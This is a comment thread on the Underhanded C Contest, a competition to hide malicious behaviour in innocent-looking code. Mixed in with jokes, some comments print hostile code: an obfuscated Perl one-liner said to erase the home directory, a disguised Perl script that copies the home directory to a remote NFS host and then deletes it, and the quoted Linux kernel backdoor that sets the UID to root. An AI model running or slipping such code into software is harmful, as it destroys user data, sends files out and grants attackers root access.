The First Annual Underhanded C Contest

Xcott Craver writes "We have just announced a new annual contest, the Underhanded C Contest, to write clear, readable, innocent-looking C code that implements malicious behavior. The object is to hide evil functionality that survives visual inspection of the source. The prize is beer."

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This will work

[The Original Yama]

People will do anything for beer! Who needs speech when you're gulping down a cold lager?

Re:This will work

[isny]

Based on past experience, free beer is usually the first step toward free speech.

in other words...

[beta-guy]

kill the brain cells that made innocent looking malicous code :P

I think I might win

[numbware]

#include
main()
{
printf("Hello World");
}

Seemingly harmless, right? Wrong. It's still in devlopment, but think about it. You should have to greet the world before you destroy it. :)

Re: This year's challenge

[ErichTheWebGuy]

Any open-source steganography programs

Why, yes! http://sourceforge.net/projects/steghide/

Re:What are the legal ramifications of this?

[anthony_dipierro]

The authorities start a contest such as this, an unsuspecting programmer submits a malicious program, and he or she is arrested and charged with a variety of computer crimes.

What computer crimes would be broken?

Frankly, I won't participate in this contest considering the current legal state of America.

No, you won't participate because of yor current state of paranoia over the legal state of America.

like this?

[LiquidCoooled]

#include stuff.h
void main()
{
/* nothing / */ /* to see / * here */
/* whats * / challenging / * about */
/* this */ /* there / is no */ evil /*
screensaver(); * function */ /* here
anyone that thinks there is * / needs */
/* their / * / eyes testing */ ();
}

585

Re:like this?

[Dun Malg]

Nice idea, but it doesn't look innoucuous. It looks like a trick. I think the contest is for code the equivalent of a razor blade in a nice looking apple, rather than a razor blade hidden in a pile of clearly marked rat poison.

Attack the Compiler

[LionKimbro]

Why attack the source code when you can instead attack the compiler?

You need only attack the compiler, or the linker, or the interpreter.

Here you go

[titzandkunt]

Just tuck it away in a commonly used header file, use touch to restore the last date/time of modification, and you're all set.

#define void int

Hours & hours of irritation & confusion!

T&K.

Re:What are the legal ramifications of this?

[bighoov]

Can you even breathe in that tinfoil cocoon?

Re:Seems a bit like those hacking contests

[numbski]

This is worse than the people that go around obfuscated perl. At least then you KNOW they're trying to hide something. I mean, you remember this?

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{~" -;;s;;$_;see'

Don't run that. :P Unless you really don't like your home directory. I remember someone tore it down and dissected it, but the point is that if you can "hide it in broad daylight, then it is far more dangerous. :)

I mean I could do something like this:

# When do you want it done?
$today="sudo";
$yesterday="su -c";

# Define our globals
$superman="ls";
$wonderwoman="rm"
$batm an="cp";
$aquaman="mv";

#define some important flags
$blows="-r";
$maims="-p";
$chunks="-f";
$defeats="-s";

#define some targets
$your_mom="/";
$your_dad="/usr";
$your_ sister="~";
$your_teacher="/bin";
$hell="/dev/nu ll";
$heaven="/dev/random";
$skyhigh="nfs://myse rver/myhome";

#....later, back at Superfriends Headquarters

`$batman $blows $your_sister $skyhigh`;
`$wonderwoman $blows $chunks $on $your_sister`;
`$today $batman $and $your_mom $think $heaven $is $a $great $place $for $your_sister`;
#Would you like to see the rest of the story?
#print "Would you like to hear more? Please type your password to continue!";

The superfriends save the day again.

Why?

[simulacrum25]

Hacking was never about malicious behaviour, it was about learning and understanding. Granted, much of what one learned could be applied in malicious ways, but that wasn't the goal. Coding contests whether they be geared towards obfuscation or speed are still learning endeavors.

Who is behind this and what is their motivations? What will they do with the ideas submitted in this contest? In a day of professional computer hackers, this is not a contest to have.

Re:Why?

[Nf1nk]

To find subtley malicous code in an open source project, we first must know what it looks like. Having contests like these creates a sample base of dangerous code and clever tricks to read and learn from.
It is sort of like the computer version of a bomb squad.

Re:It's a bad idea

[Catamaran]

C gives you just enough rope to hang yourself.

Java gives you a polished floor on which you can slip and break your neck.

C++ gives you a thermo-nuclear device.

Diebold Hiring the winner!

[tvlinux]

Help Wanted:
Diebold needs new programmers. If you have what it takes to hide "winning" code in our election machines. Apply to Diebold Careers

Subtlety

[Dirtside]

The prize is beer.

...but the beer is poisoned!

An example from years ago

[exp(pi*sqrt(163))]

There was a bug in the Watcom compiler for DOS many years ago. As a bug report I sent them a piece of code something like:

char *s = "Fortune coookie";
int *p = (char *)s;
for (i = 0; i<4; ++i) {
putchar(((char *)p)[i]);
}

Looks innocent enough. But actually it actually printed an obscenity. There was a bug in the pointer addition code generated by the compiler so that even though (char *)p was a pointer to type char it still used sizeof(int) to index into the array and so it printed every 4th character. (And that explains why I used three o's.)

Some dude from Microsoft is gonna win...

[swillden]

He'll submit the source code to IE.

how's this?

[spongman]

int main () { WinExec ("iexplore.exe"); }

Linux Kernel Backdoor Attempt

[Johnny Hardcore]

This reminds me about the attempt at inserting a backdoor in the linux kernel to gain root access. If they found out who did this, maybe he should get the free beer? ;)

The attempt was trying to insert

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))

inside a function. Note that (current->uid = 0) is not testing but rather sets the UID to zero (and the surrounding brackets avoid the GCC warning).

So The Hard Part Is To

[Master of Transhuman]

"write clear, readable, innocent-looking C code", right?

Wow, nobody's going to win this one.

Obligatory simpsons paraphrase

[Sentry21]

Programmer: 'Take this source code, but beware! It carries a terrible curse!'
Judge: 'That's bad.'
Programmer: 'But it's optimized for PowerPC!'
Judge: 'That's good!'
Programmer: 'PowerPC is also cursed.'
Judge: 'That's bad.'
Programmer: 'But you get your choice of operating systems!'
Judge: 'That's good!'
Programmer: 'The operating systems run on Intel.' *pause* 'That's bad.'
Judge: 'Can I go now?'

You're just not used to it.

[Tyler Durden]

Problems: difficult to compile

A picky compiler is a blessing, not a curse. It's much easier to identify and fix compile errors than run-time errors.

difficult to convert to better languages (thank you preprocessor)

Meaningless troll.

encourages obfuscation

Unless the compiler is literally holding a gun to your head, this is meaningless. In C you have nearly limitless control to write your code the way you feel is clearest. If it came out obfuscated then you have nobody to blame but yourself.

some constructs are clearly tacked on and/or poorly implemented (switch), arbitrary nonorthogonality (struct, parens and brace usage, pointer/array declaration), shitty strings.

Tacked on? If you don't like the way constructs are set up then fine, that's your opinion. But if you read The C Programming Language you can tell that every single construct was scrutinized over for the proper balance of efficiency (why it makes sense to pass array parameters as pointers and structs as copies) and consistency (why data types are declared the way they are. Declaration and use of data is made to match.) Do you honestly believe the creators/first users of C, some of the greatest programmers who ever lived, really said, "Ahhh, fuck it. Let's just throw something together," when designing their own programming tools?

Most people who don't like C are really just saying they don't like low-level programming because that's what it was designed for, and that's what it's perfect for. Too many newbie programmers get used to some modern, flash-in-the-pan, all-things-to-all-people languages and when they are faced with the challenges of low-level languages rashly conclude that it's the language's fault they're having problems.

C is the perfect language for the job it was designed for. The same cannot be said for most more modern languages.

Service Pack fixes it, but it's documented

[edalytical]

http://support.microsoft.com/?kbid=311486